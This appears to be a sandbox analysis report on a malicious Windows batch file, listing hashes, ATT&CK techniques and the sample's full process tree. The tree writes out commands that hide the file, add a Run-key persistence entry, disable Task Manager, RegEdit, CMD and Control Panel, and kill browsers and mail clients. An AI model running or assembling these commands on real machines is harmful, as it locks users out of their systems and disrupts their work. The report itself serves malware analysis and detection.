88191baab79c1f1637d961172371155751dbb9603031c2f12efb05fd31b1ef7a

Analysis

user interaction
yes
max time kernel
64s
max time network
65s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/04/2026, 02:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
danger.bat
Size 3KB
Sample260423-c265fagy9v
SHA256 88191baab79c1f1637d961172371155751dbb9603031c2f12efb05fd31b1ef7a
MD5 a10051dba5476a82e09cc7db9a06c901
SHA1 04ea197da858ea507fa41c87da2a47e4830e8c60
SHA512 1cc265b766bbdcaf85f75d2c709160f5525c60d3e9fd7a28a23a1af1bf735798710a8f5446be5c927906b5dbd2c0a89d33fe5f31d7deb47e9ad6d6bc9c94e11d
TLSH
T1847100173D098D67958036E094EF54E7EBA2A2475C007FC2E6CA206871573C993B9BEF
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion persistence spyware stealer

Malware Config

Signatures

Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe

Modifies visibility of hidden/system files in Explorer 2 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	reg.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\danger.bat"	reg.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
3028	timeout.exe
1200	timeout.exe

Kills process with taskkill 6 IoCs

defense_evasion

pid	Process
4036	taskkill.exe
2472	taskkill.exe
848	taskkill.exe
4208	taskkill.exe
3476	taskkill.exe
364	taskkill.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	848	taskkill.exe
Token: SeDebugPrivilege	4208	taskkill.exe
Token: SeDebugPrivilege	3476	taskkill.exe
Token: SeDebugPrivilege	364	taskkill.exe
Token: SeDebugPrivilege	4036	taskkill.exe
Token: SeDebugPrivilege	2472	taskkill.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 4212 wrote to memory of 3028	4212	cmd.exe	86
PID 4212 wrote to memory of 1840	4212	cmd.exe	88
PID 4212 wrote to memory of 4196	4212	cmd.exe	89
PID 4212 wrote to memory of 4744	4212	cmd.exe	90
PID 4212 wrote to memory of 816	4212	cmd.exe	91
PID 4212 wrote to memory of 2276	4212	cmd.exe	92
PID 4212 wrote to memory of 968	4212	cmd.exe	93
PID 4212 wrote to memory of 996	4212	cmd.exe	95
PID 4212 wrote to memory of 692	4212	cmd.exe	96
PID 4212 wrote to memory of 2076	4212	cmd.exe	97
PID 4212 wrote to memory of 848	4212	cmd.exe	98
PID 4212 wrote to memory of 4208	4212	cmd.exe	101
PID 4212 wrote to memory of 3476	4212	cmd.exe	102
PID 4212 wrote to memory of 364	4212	cmd.exe	103
PID 4212 wrote to memory of 4036	4212	cmd.exe	104
PID 4212 wrote to memory of 2472	4212	cmd.exe	105

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1840	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\danger.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4212
- C:\Windows\system32\timeout.exe
  timeout /t 3
  2⤵
  - Delays execution with timeout.exe
  PID:3028
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\danger.bat
  2⤵
  - Views/modifies file attributes
  PID:1840
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SystemUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\danger.bat" /f
  2⤵
  - Adds Run key to start application
  PID:4196
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "Hidden" /t REG_DWORD /d 2 /f
  2⤵
  PID:4744
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "ShowSuperHidden" /t REG_DWORD /d 0 /f
  2⤵
  - Modifies visibility of hidden/system files in Explorer
  PID:816
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v "HideFileExt" /t REG_DWORD /d 1 /f
  2⤵
  - Modifies visibility of file extensions in Explorer
  PID:2276
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:968
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:996
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableCMD" /t REG_DWORD /d 1 /f
  2⤵
  PID:692
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoControlPanel" /t REG_DWORD /d 1 /f
  2⤵
  PID:2076
- C:\Windows\system32\taskkill.exe
  taskkill /f /im explorer.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:848
- C:\Windows\system32\taskkill.exe
  taskkill /f /im chrome.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4208
- C:\Windows\system32\taskkill.exe
  taskkill /f /im firefox.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3476
- C:\Windows\system32\taskkill.exe
  taskkill /f /im msedge.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:364
- C:\Windows\system32\taskkill.exe
  taskkill /f /im outlook.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4036
- C:\Windows\system32\taskkill.exe
  taskkill /f /im teams.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2472